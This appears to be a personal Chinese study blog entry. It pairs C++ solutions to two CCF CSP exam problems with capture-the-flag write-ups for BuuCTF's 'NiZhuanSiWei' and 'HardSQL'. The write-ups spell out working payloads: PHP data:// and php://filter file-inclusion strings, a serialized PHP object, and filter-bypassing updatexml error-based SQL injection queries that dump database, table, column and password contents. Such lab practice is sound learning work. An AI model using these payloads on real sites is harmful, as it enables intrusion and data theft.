20240224

CSP

2022-12-1 现值计算

=输入n和i,n表示复利的次数,i表示利率。然后用户输入n个数值,代表每次复利的金额。根据复利公式计算出总的复利金额,并输出结果。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#include<iostream>
#include<math.h>
using namespace std;

int main()
{
int n,j,m;
float i,sum=0;
cin>>n>>i;
for(j=0;j<=n;j++)
{
cin>>m;
sum+=m*pow(1+i,-j);

}
printf("%.3f\n",sum);
return 0;
}
2022-12-2 训练计划

70分

任务调度。输入n和m,n表示任务总数,m表示操作总数。接着输入m个操作,每个操作包括两个数值,第一个数值表示依赖的前一个操作的编号,第二个数值表示该操作需要的时间。程序会根据这些输入计算出每个操作的开始时间和结束时间,并输出结果。如果所有操作都能在规定时间内完成,则输出每个操作的开始时间和结束时间;如果有某个操作无法在规定时间内完成,则输出”0”表示无法完成。最后返回0表示程序正常结束。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
#include<iostream>
using namespace std;

int a[102][2];
int timee[102]={1};
int timel[102]={0};

int main()
{
int n,m,i,pd=1;
cin>>n>>m;
for(i=1;i<=m;i++)
{
cin>>a[i][0];
}
for(i=1;i<=m;i++)
{
cin>>a[i][1];
}
for(i=1;i<=m;i++)
{
if(a[i][0]==0)
{
timee[i]=1;
if(a[i][1]>n) pd=0;
timel[i]=n-a[i][1]+1;
}
else
{
timee[i]=timee[a[i][0]]+a[a[i][0]][1];
if(timee[i]+a[i][1]-1>n) pd=0;
timel[i]=n-a[i][1]+1;
}
}
for(i=1;i<=m;i++)
{
cout<<timee[i]<<" ";
}
cout<<endl;
if(pd==1)
{
for(i=1;i<=m;i++)
{
cout<<timel[i]<<" ";
}
}
cout<<endl;
return 0;
}

BuuCTF

24、NiZhuanSiWei

从题目的php代码中可以知道需要用get方式传三个参数,text,file,password

有一个php文件

image

访问该文件,什么都没有

有一行代码说我们要传入一个文件,内容是”welcome to the zjctf”

image

要用到data协议,data协议通常是用来执行PHP代码,也可以将内容写入data协议中,然后让file_get_contents函数取读取。构造:data://text/plain,welcome to the zjctf

为了绕过一些过滤,用base64编码构造payload:/?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=

image

有一个可控参数file,构造file=useless.php,但是针对php文件我们需要进行base64编码,否则读取不到其内容,所以构造payload:/?file=php://filter/read=convert.base64-encode/resource=useless.php

完整payload:/?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=php://filter/read=convert.base64-encode/resource=useless.php

得到一串base64编码

image

解码

得到useless.php源码

image

1
2
3
4
5
6
7
8
9
10
11
12
13
 <?php  

class Flag{ //flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
?>

有一个 flag.php ,并且file不为空将读取flag.php并显示。所以。构造一个序列化字符串

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
 <?php  

class Flag{ //flag.php
public $file=flag.php;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}

$a = new Flag();
$a->file="flag.php";
echo serialize($a);

找个在线运行PHP的网站,得到

image

构造payload:/?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

image

查看源代码,得到flag

image

1
flag{6cb4bd76-2b5f-4876-9fe0-46f02e2d0062}
25、HardSQL

一些and、union、select、空格等常见的SQL语句被过滤了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
这道题是xpath报错注入,函数注入

extractvalue()
extractvalue() :对XML文档进行查询的函数

语法:extractvalue(目标xml文档,xml路径)

第一个参数 : 第一个参数可以传入目标xml文档

第二个参数: xml中的位置是可操作的地方,xml文档中查找字符位置是用 /xxx/xxx/xxx/…这种格式,如果我们写入其他格式,就会报错,并且会返回我们写入的非法格式内容,而这个非法的内容就是我们想要查询的内容。

      正常查询 第二个参数的位置格式 为 /xxx/xx/xx/xx ,即使查询不到也不会报错

tip: 还有要注意的地方是,它能够查询的字符串长度最大是32个字符,如果超过32位,我们就需要用函数来查询,比如right(),left(),substr()来截取字符串

再举个栗子:

SELECT ExtractValue('<a><b><b/></a>', '/a/b'); 这个语句就是寻找前一段xml文档内容中的a节点下的b节点,这里如果Xpath格式语法书写错误的话,就会报错。这里就是利用这个特性来获得我们想要知道的内容。

利用concat函数将想要获得的数据库内容拼接到第二个参数中,报错时作为内容输出。

输入用户名:1

密码:1'or'1'='1

image

出现这段话,并且url加上了/check.php

image

爆库名:?username=admin'or(updatexml(1,concat(0x7e,database(),0x7e),1))%23&password=111

geek

image

爆表名:?username=admin%27or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(%27geek%27)),0x7e),1))%23&password=111

H4rDsq1

image

爆字段:?username=admin%27or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like(%27H4rDsq1%27)),0x7e),1))%23&password=111

id,username,password

image

爆数据:?username=admin%27or(updatexml(1,concat(0x7e,(select(password)from(H4rDsq1)),0x7e),1))%23&password=111

flag{52272770-1ba7-4986-8a7d-cb

image

这里只爆出前面一部分flag,然后再使用right()函数拼接flag?username=admin'or(updatexml(1,concat(0x7e,(select(group_concat((right(password,25))))from(H4rDsq1)),0x7e),1))%23&password=111

7-4986-8a7d-cb84363e2987}

image

1
flag{52272770-1ba7-4986-8a7d-cb84363e2987}